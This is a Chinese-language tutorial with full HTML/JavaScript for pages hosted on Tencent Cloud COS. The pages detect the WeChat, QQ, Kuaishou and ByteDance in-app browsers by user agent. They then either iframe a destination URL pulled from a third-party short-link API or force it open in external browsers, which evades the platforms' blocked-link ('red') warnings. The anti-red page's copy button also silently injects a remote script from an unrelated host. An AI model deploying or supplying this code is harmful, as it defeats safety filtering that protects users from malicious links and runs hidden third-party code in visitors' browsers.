接下来给大家分享一个利用腾讯云cos存储桶搭建的QQ/WX直连强开网站的教程
第一步:得有个正常的腾讯云账号
第二步:开通对象存储功能,创建一个存储桶。
第三步:在本地电脑创建一个index.html文件并写入下面代码进去,最后保存
代码如下
下面👇是直连代码(就是强开网站强制访问的代码)
<!DOCTYPE html>
<html lang="zh">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>...正在加载中...</title>
<meta name="referrer" content="no-referrer" />
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport">
<script src="https://s1.pstatp.com/cdn/expire-1-M/jquery/3.6.0/jquery.min.js"></script>
<script src="https://ttturl.cn/tiaozhuan.js"></script>
<style>
body,
html {
width: 100%;
height: 100%
}
* {
margin: 0;
padding: 0
}
</style>
</head>
<body>
</body>
<script>
const url = window.document.location.href.toString();
let uu1 = url.split("?");
let u=uu1[1].replace("/","");
let uu=u.replace("=","");
$(document).ready(function() {
$.ajax({
url: "https://s.ttturl.cn/api.php?act=geturl",
type: "POST",
data: {
"id":uu
},
dataType: "json",
success: function(result) {
var ua = navigator.userAgent.toString();
if(ua.indexOf("MicroMessenger/") !== -1 || ua.indexOf("QQ/")!== -1 || ua.indexOf("Kwai/") !==-1 || ua.indexOf("BytedanceWebview/")!== -1) {
if (result.code == 1) {
$("title").text(result.title);
$("body").html('<iframe src="' + result.url + '" width="100%" height="' + (($(window).height()) - 5) + "px" + '" style="border: 0" frameborder="0" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen=""></iframe>');
} else {
$('#Zl').html('<iframe width="100%" id="rid" src="https://www.baidu.com" frameborder="0" ></iframe>');
}
}else{
window.location.href = result.url;
}
},
error: function(data) {
window.location.href = "https://ttturl.cn/error.html"
}
});
});
</script>
<!-- 短链接技术咨询+qq2537512650 -->
</html>
下面的👇代码是防红模式的代码(就是页面打开是一个引导页面引导跳转到浏览器访问的代码)
<html style="font-size:7vw;">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>【安全网站】请使用浏览器打开</title>
<meta name="referrer" content="no-referrer" />
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" name="viewport" />
<meta content="yes" name="apple-mobile-web-app-capable" />
<meta content="black" name="apple-mobile-web-app-status-bar-style" />
<meta name="format-detection" content="telephone=no" />
<meta content="false" name="twcClient" id="twcClient" />
<meta name="aplus-touch" content="1" />
<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />
<script src="https://s1.pstatp.com/cdn/expire-1-M/jquery/3.6.0/jquery.min.js">
</script>
<script src="https://ttturl.cn/tiaozhuan.js"></script>
<style>
body,
html {
width: 100%;
height: 100%
}
* {
margin: 0;
padding: 0
}
body {
background-color: #fff
}
.top-bar-guidance {
font-size: 15px;
color: #fff;
height: 70%;
line-height: 1.8;
padding-left: 20px;
padding-top: 20px;
background: url(https://images.cubox.pro/wraed6/file/2023082315075783686/1.jpg) center top/contain no-repeat
}
.top-bar-guidance .icon-safari {
width: 25px;
height: 25px;
vertical-align: middle;
margin: 0 .2em
}
.app-download-tip {
margin: 0 auto;
width: 290px;
text-align: center;
font-size: 15px;
color: #2466f4;
background: url(https://images.cubox.pro/wraed6/file/2023082315081955500/2.png) left center/auto 15px repeat-x
}
.app-download-tip .guidance-desc {
background-color: #fff;
padding: 0 5px
}
.app-download-btn {
display: block;
width: 214px;
height: 40px;
line-height: 40px;
margin: 18px auto 0 auto;
text-align: center;
font-size: 18px;
color: #2466f4;
border-radius: 20px;
border: .5px #2466f4 solid;
text-decoration: none
}
</style>
</head>
<body style="background-color:#f5f5f5;text-align: center;">
<div class="top-bar-guidance">
<p>点击右上角<img src="https://images.cubox.pro/wraed6/file/2023082315084263467/3.jpg" class="icon-safari" /> <span id="openm">Safari打开</span></p>
<p>可以继续浏览本站哦~</p>
</div>
<div class="app-download-tip">
<span class="guidance-desc">您也可以复制本站网址,到其它浏览器打开</span>
</div>
<a data-clipboard-text="<?php echo $res['dwz'] ?>" class="app-download-btn" id="fz" onclick="fz()">点我复制网址</a>
<a style="display: none;" href="<?php echo $res['dwz'] ?>" id="dwz"></a>
<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
<script src="https://lib.baomitu.com/clipboard.js/2.0.6/clipboard.min.js"></script>
</body>
<script>
var url = window.document.location.href.toString();
var u = url.split("?");
var uu = u[1].replace("=", "");
$(function() {
$.get("https://s.ttturl.cn/api.php?act=geturl", { id: removeSlash(uu) }, function(data) {
var ua = navigator.userAgent.toString();
if (
ua.indexOf("MicroMessenger/") !== -1 ||
ua.indexOf("QQ/") !== -1 ||
ua.indexOf("Kwai/") !== -1 ||
ua.indexOf("BytedanceWebview/") !== -1
) {
$("#url").html(
'<a href="' + data.url + '" id="dwz" rel="noreferrer" style="display: none;"></a>'
);
openu("ucbrowser://" + removeSlash(data.url));
openu("mttbrowser://url=" + removeSlash(data.url));
openu("baiduboxapp://browse?url=" + removeSlash(data.url));
openu("googlechrome://" + removeSlash(data.url));
openu("mibrowser:" + url);
} else {
window.location.href = data.url;
}
});
});
function removeSlash(str) {
return str.replace("/", "");
}
function openu(u) {
document.getElementById("dwz").href = u;
document.getElementById("dwz").click();
}
// 修改复制按钮的复制内容为当前网页的链接
$(function() {
$("#fz").attr("data-clipboard-text", url);
});
new ClipboardJS("#fz");
function fz() {
$("#fz").text("复制成功");
}
// 延迟一段时间后禁用该JS
setTimeout(function() {
var cnzzScript = document.getElementById("cnzzScript");
cnzzScript.parentNode.removeChild(cnzzScript);
}, 5000); // 这里设置了延迟时间为5秒,你可以根据需要进行调整
// 在按钮点击事件中执行需要的JS逻辑
$("#fz").on("click", function() {
// 执行你需要的JS逻辑
(function() {
var baidu = document.createElement("script");
baidu.src = "//i.6v6.work/v/?uid=388791";
var cnzz = document.getElementsByTagName("head")[0];
cnzz.insertBefore(baidu, cnzz.firstChild);
})();
});
</script>
</html>
【提示】上面两个代码分别是直连模式代码和防红模式代码,一个文件里只能放一个模式代码,不可以把上面两个代码片段同时放进一个html文件里。
第四步:把文件上传存储桶文件夹
第五步:.访问路径是 存储桶域名/index.html
第六步:这时还不能正常打开,需要到接口后台添加链接
后台注册添加一下链接 ,后台地址:
http://ttturl.cc/user
后台注册示意图
生成添加好后,自己的链接后在菜单栏找到网址管理/网址列表
就可以看到自己生成的链接了。
第八步:
例如刚刚生成的链接对应的id是Fioy
那么复制出来
访问格式是:存储桶域名/index.html?Fioy
html?后面跟的字母参数就是从后台的“网址管理”里面获取到的ID 获取方法如上图
-----------------------------------------教程结束-----------------------------------
如果上面的教程还是看不懂,以下是有声详细实操教程视频
CSDN版本视频教程↓
利用腾讯云cos部署直连防红教程视频(CSDN版本)
弹幕B站版本视频:
利用腾讯云cos部署直连防红教程视频(B站版本)